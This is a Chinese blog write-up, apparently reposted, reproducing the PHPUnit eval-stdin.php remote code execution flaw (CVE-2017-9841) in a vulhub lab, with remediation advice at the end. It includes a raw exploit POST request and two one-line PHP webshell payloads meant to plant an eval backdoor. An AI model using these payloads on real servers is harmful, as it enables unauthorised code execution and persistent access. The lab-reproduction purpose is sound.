PHPUnit漏洞复现
簡介
漏洞環(huán)境:vulhub
參考鏈接:
https://blog.csdn.net/csacs/article/details/90640601
https://blog.csdn.net/zy15667076526/article/details/111824844
CVE-2017-9841
PHPUnit 是 PHP 程式語言中最常見的單元測試 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依賴管理器進行部署,將會在當前目錄創(chuàng)建一個vendor文件夾。phpunit生產(chǎn)環(huán)境中仍然安裝了它,如果該編寫器模塊存在于Web可訪問目錄,則存在遠程代碼執(zhí)行漏洞。
composer是php包管理工具,使用composer安裝擴展包將會在當前目錄創(chuàng)建一個vendor文件夾,并將所有文件放在其中。通常這個目錄需要放在web目錄外,使用戶不能直接訪問。
phpunit是php中的單元測試工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代碼
eval('?>'.file_get_contents('php://input'));
如果該文件被用戶直接訪問到,將造成原創(chuàng)代碼執(zhí)行漏洞。
影響版本:
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
漏洞復現(xiàn)
啟動vulhub中的docker環(huán)境,訪問eval-stdin.php的路徑:
http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用bp進行抓包,將請求方式改為POST,同時將php代碼作為請求體。
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
執(zhí)行結果:
看博客,寫入一句話木馬:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我發(fā)現(xiàn)我根本寫入不進去,提示該文件寫入權限不足:
file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code
原因是,apache使用的是www-data用戶運行,而web目錄下的文件用戶與用戶組權限均為root,eval-stdin.php所在的PHP文件夾,其他用戶只有執(zhí)行和讀權限,所以寫入失敗。
如果要寫入一句話木馬,需要將PHP目錄增加其他用戶可寫權限。
也可以用這個寫入一句話,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>。
漏洞修復
生產(chǎn)環(huán)境中直接刪掉phpunit
升級phpunit版本
設置權限,禁止訪問該目錄
本博客雖然很垃圾,但所有內容嚴禁轉載
總結
以上是生活随笔為你收集整理的PHPUnit漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: H5前端页面性能测试
- 下一篇: android 热修复框架Tinker的